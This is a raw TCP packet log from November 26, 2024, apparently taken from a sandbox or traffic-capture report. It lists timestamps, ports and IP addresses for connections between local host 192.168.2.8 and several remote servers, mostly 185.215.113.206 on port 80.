Nov 26, 2024 08:03:41.573256969 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.581181049 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.581252098 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.581254959 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.581293106 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.589095116 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.589138031 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.589176893 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.589195013 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.594335079 CET	49783	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:41.597845078 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.597935915 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.598038912 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.598105907 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.605061054 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.605144978 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.605154991 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.605238914 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.613455057 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.613548994 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.613605022 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.613667965 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.621031046 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.621124983 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.621134996 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.621186018 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.629019022 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.629089117 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.629136086 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.629223108 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.636955976 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.637037992 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.640403986 CET	443	49784	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:41.640666962 CET	49784	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:41.640687943 CET	443	49784	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:41.641726971 CET	443	49784	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:41.641796112 CET	49784	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:41.642066956 CET	49784	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:41.642144918 CET	443	49784	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:41.642524958 CET	49784	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:41.642540932 CET	443	49784	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:41.689796925 CET	443	49756	40.126.53.17	192.168.2.8
Nov 26, 2024 08:03:41.689820051 CET	443	49756	40.126.53.17	192.168.2.8
Nov 26, 2024 08:03:41.689856052 CET	443	49756	40.126.53.17	192.168.2.8
Nov 26, 2024 08:03:41.689902067 CET	49756	443	192.168.2.8	40.126.53.17
Nov 26, 2024 08:03:41.689912081 CET	443	49756	40.126.53.17	192.168.2.8
Nov 26, 2024 08:03:41.689934969 CET	49756	443	192.168.2.8	40.126.53.17
Nov 26, 2024 08:03:41.690593004 CET	49756	443	192.168.2.8	40.126.53.17
Nov 26, 2024 08:03:41.690593004 CET	49756	443	192.168.2.8	40.126.53.17
Nov 26, 2024 08:03:41.690606117 CET	443	49756	40.126.53.17	192.168.2.8
Nov 26, 2024 08:03:41.690747976 CET	443	49756	40.126.53.17	192.168.2.8
Nov 26, 2024 08:03:41.690783978 CET	443	49756	40.126.53.17	192.168.2.8
Nov 26, 2024 08:03:41.690931082 CET	49756	443	192.168.2.8	40.126.53.17
Nov 26, 2024 08:03:41.743489027 CET	49784	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:41.763648033 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.763753891 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.763766050 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.763804913 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.766809940 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.766880989 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.766983032 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.767126083 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.772083044 CET	49787	443	192.168.2.8	40.126.53.17
Nov 26, 2024 08:03:41.772165060 CET	443	49787	40.126.53.17	192.168.2.8
Nov 26, 2024 08:03:41.772363901 CET	49787	443	192.168.2.8	40.126.53.17
Nov 26, 2024 08:03:41.772986889 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.773044109 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.773057938 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.773088932 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.779300928 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.779388905 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.779450893 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.785362959 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.785423040 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.785454988 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.785502911 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.785972118 CET	49787	443	192.168.2.8	40.126.53.17
Nov 26, 2024 08:03:41.786010027 CET	443	49787	40.126.53.17	192.168.2.8
Nov 26, 2024 08:03:41.791642904 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.791795015 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.791851997 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.797774076 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.797833920 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.797878981 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.797930002 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.804025888 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.804158926 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.804189920 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.804229021 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.810223103 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.810230017 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.810290098 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.816442966 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.816509008 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.816551924 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.816603899 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.822735071 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.822743893 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.822818995 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.829212904 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.829308033 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.829327106 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.829396009 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.835067034 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.835150003 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.835169077 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.835222006 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.842277050 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.842335939 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.842379093 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.842449903 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.847675085 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.847683907 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.847748041 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.853708982 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.853817940 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.853874922 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.853876114 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.860035896 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.860084057 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.860121965 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.860153913 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.866065979 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.866157055 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.866193056 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.866270065 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.872242928 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.872323990 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.930314064 CET	49788	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:41.930372000 CET	443	49788	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:41.930493116 CET	49788	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:41.930809975 CET	49789	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:41.930850983 CET	443	49789	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:41.930902004 CET	49789	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:41.931047916 CET	49788	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:41.931081057 CET	443	49788	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:41.931166887 CET	49789	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:41.931194067 CET	443	49789	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:41.974239111 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.974313021 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.974328995 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.974378109 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.976320028 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.976406097 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.976475000 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.981050968 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.981106997 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.982570887 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.982642889 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.982667923 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.982713938 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.983464003 CET	443	49783	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:41.983531952 CET	443	49783	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:41.983568907 CET	49783	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:41.983726978 CET	49783	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:41.983738899 CET	443	49783	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:41.987171888 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.987282991 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.987291098 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.987327099 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.991766930 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.991889954 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.991925001 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.991950035 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.998795033 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.998857975 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:41.998939037 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:41.999324083 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.002460957 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.002510071 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.002588034 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.005029917 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.005089045 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.005121946 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.005168915 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.009392023 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.009460926 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.009499073 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.009515047 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.013696909 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.013708115 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.013746023 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.013766050 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.017919064 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.017987013 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.018105984 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.018181086 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.022172928 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.022226095 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.022351027 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.022402048 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.026511908 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.026628971 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.026649952 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.026695967 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.031528950 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.031594992 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.031676054 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.035207033 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.035259008 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.035319090 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.035367966 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.039505959 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.039557934 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.039591074 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.039645910 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.043865919 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.043982983 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.044037104 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.048180103 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.048264980 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.048333883 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.048428059 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.050729036 CET	443	49785	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:42.050950050 CET	49785	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:42.050973892 CET	443	49785	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:42.051975012 CET	443	49785	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:42.052035093 CET	49785	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:42.052423954 CET	49785	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:42.052444935 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.052493095 CET	443	49785	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:42.052545071 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.052566051 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.052603006 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.052680016 CET	49785	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:42.052691936 CET	443	49785	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:42.056770086 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.056823969 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.056863070 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.056921959 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.061146975 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.061197042 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.061218023 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.061253071 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.065511942 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.065567970 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.065597057 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.065654993 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.069750071 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.069852114 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.069859028 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.069901943 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.074089050 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.074173927 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.074178934 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.074222088 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.078434944 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.078459978 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.078488111 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.078512907 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.082792044 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.082847118 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.082873106 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.083028078 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.087133884 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.087202072 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.087205887 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.087253094 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.091361046 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.091428041 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.091506958 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.093578100 CET	443	49784	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:42.093646049 CET	443	49784	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:42.093805075 CET	49784	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:42.094055891 CET	49784	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:42.094100952 CET	443	49784	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:42.100620985 CET	49785	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:42.184431076 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.184516907 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.184606075 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.184670925 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.186017990 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.186083078 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.186095953 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.186146021 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.189064026 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.189107895 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.189172983 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.192164898 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.192172050 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.192214966 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.195133924 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.195202112 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.195231915 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.195286036 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.198174953 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.198240042 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.198287964 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.201128006 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.201200008 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.201256990 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.201301098 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.203989029 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.204041004 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.204045057 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.204090118 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.206873894 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.206953049 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.206971884 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.207046986 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.210535049 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.210580111 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.210635900 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.210747004 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.212522030 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.212620020 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.212646008 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.212687016 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.215275049 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.215284109 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.215332985 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.218390942 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.218491077 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.218619108 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.218677044 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.221215010 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.221283913 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.221309900 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.221329927 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.223366022 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.223403931 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.223467112 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.223519087 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.226064920 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.226169109 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.226181984 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.226210117 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.228812933 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.228914976 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.228984118 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.231440067 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.231483936 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.231509924 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.231525898 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.234158993 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.234200001 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.234225035 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.234244108 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.236870050 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.236924887 CET	49747	80	192.168.2.8	185.215.113.206
